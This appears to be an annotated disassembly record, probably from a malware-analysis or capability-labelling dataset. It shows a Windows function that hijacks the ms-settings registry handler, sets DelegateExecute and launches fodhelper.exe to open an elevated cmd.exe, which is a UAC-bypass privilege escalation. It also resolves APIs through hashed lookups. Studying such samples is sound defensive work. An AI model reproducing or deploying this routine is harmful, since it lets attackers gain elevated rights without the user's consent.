Function at 0x140001440
Capabilities:
Create process on windows
Self delete

Disassembly:
push rdi
sub rsp, 0xad0
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0xac8], rax
lea rdx, str.SoftwareClassesms_settingsShellOpencommand
lea rcx, [rsp + 0x850]
call fcn.140005eb0
mov rcx, rax
call fcn.140005e30
mov qword [rsp + 0xd0], rax
lea rdx, str.cmd__c_start_C:WindowsSystem32cmd.exe
lea rcx, [rsp + 0x5d0]
call fcn.140005820
mov rcx, rax
call fcn.1400057a0
mov qword [rsp + 0x98], rax
lea rax, [0x1400082ad]
mov qword [rsp + 0xa8], rax
mov ecx, 0x35c206b
call fcn.140001240
mov qword [rsp + 0x78], rax
mov edx, 0xf0b03804
mov rcx, qword [rsp + 0x78]
call fcn.140001310
mov qword [rsp + 0xc8], rax
mov edx, 0x1ac1e8e1
mov rcx, qword [rsp + 0x78]
call fcn.140001310
mov qword [rsp + 0x88], rax
lea rdx, str.kernel32.dll
lea rcx, [rsp + 0xf0]
call fcn.1400055c0
mov rcx, rax
call fcn.140005540
mov rcx, rax
call qword [rsp + 0xc8]
mov qword [rsp + 0x80], rax
lea rdx, str.RegCreateKeyExW
lea rcx, [rsp + 0x180]
call fcn.1400052f0
mov rcx, rax
call fcn.140005270
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call qword [rsp + 0x88]
mov qword [rsp + 0xd8], rax
lea rdx, str.RegSetValueExW
lea rcx, [rsp + 0x130]
call fcn.140005040
mov rcx, rax
call fcn.140004fc0
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call qword [rsp + 0x88]
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0xac0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xa40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0xd0]
mov rcx, 0xffffffff80000001
call qword [rsp + 0xd8]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140001609
lea rdx, str.failed_to_open_or_create_reg_key_n
lea rcx, [rsp + 0x3c0]
call fcn.140004ad0
mov rcx, rax
call fcn.140004a50
mov qword [rsp + 0x90], rax
jmp 0x14000162d
lea rdx, str.successfully_create_reg_key_n
lea rcx, [rsp + 0x330]
call fcn.140004620
mov rcx, rax
call fcn.1400045a0
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
call fcn.140001060
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x58], 0xffffffffffffffff
inc qword [rsp + 0x58]
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0x58]
cmp byte [rax + rcx], 0
jne 0x140001653
mov rax, qword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x140008388]
mov rcx, qword [rsp + 0xa40]
call qword [rsp + 0xb0]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x1400016d1
lea rdx, str.failed_to_set_reg_value_n
lea rcx, [rsp + 0x220]
call fcn.140004210
mov rcx, rax
call fcn.140004190
mov qword [rsp + 0xa0], rax
jmp 0x1400016f5
lea rdx, str.successfully_set_reg_value_n
lea rcx, [rsp + 0x2a0]
call fcn.140003d90
mov rcx, rax
call fcn.140003d10
mov qword [rsp + 0xa0], rax
mov rcx, qword [rsp + 0xa0]
call fcn.140001060
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x60], 0xffffffffffffffff
inc qword [rsp + 0x60]
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x60]
cmp byte [rax + rcx], 0
jne 0x14000171b
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xc0], rax
lea rdx, str.DelegateExecute
lea rcx, [rsp + 0x1d0]
call fcn.140003ac0
mov rcx, rax
call fcn.140003a40
mov rcx, qword [rsp + 0xc0]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0xa8]
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0xa40]
call qword [rsp + 0xb0]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x1400017be
lea rdx, str.failed_to_set_reg_value:_DelegateExecute_n
lea rcx, [rsp + 0x6a0]
call fcn.140003410
mov rcx, rax
call fcn.140003390
mov qword [rsp + 0x68], rax
jmp 0x1400017df
lea rdx, str.successfully_set_reg_value:_DelegateExecute_n
lea rcx, [rsp + 0x770]
call fcn.140002ce0
mov rcx, rax
call fcn.140002c60
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x68]
call fcn.140001060
mov rcx, qword [rsp + 0xa40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0xa50], 0x70
lea rax, [rsp + 0xa54]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
lea rax, str.runas
mov qword [rsp + 0xa60], rax
lea rax, str.C:WindowsSystem32_fodhelper.exe
mov qword [rsp + 0xa68], rax
mov qword [rsp + 0xa58], 0
mov dword [rsp + 0xa80], 1
lea rcx, [rsp + 0xa50]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x1400018c5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0x4c7
jne 0x140001894
lea rdx, str.the_user_refused_to_allow_privileges_elevation._n
lea rcx, [rsp + 0x940]
call fcn.140002510
mov rcx, rax
call fcn.140002490
mov qword [rsp + 0x70], rax
jmp 0x1400018b5
lea rdx, str.unexpected_error__error_code:__ld_n
lea rcx, [rsp + 0x470]
call fcn.140001f70
mov rcx, rax
call fcn.140001ef0
mov qword [rsp + 0x70], rax
mov edx, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x70]
call fcn.140001060
jmp 0x1400018e9
lea rdx, str.successfully_create_process_.._n
lea rcx, [rsp + 0x520]
call fcn.140001910
mov rcx, rax
call fcn.140001e70
mov rcx, rax
call fcn.140001060
xor eax, eax
mov rcx, qword [rsp + 0xac8]
xor rcx, rsp
call fcn.140006a70
add rsp, 0xad0
pop rdi
ret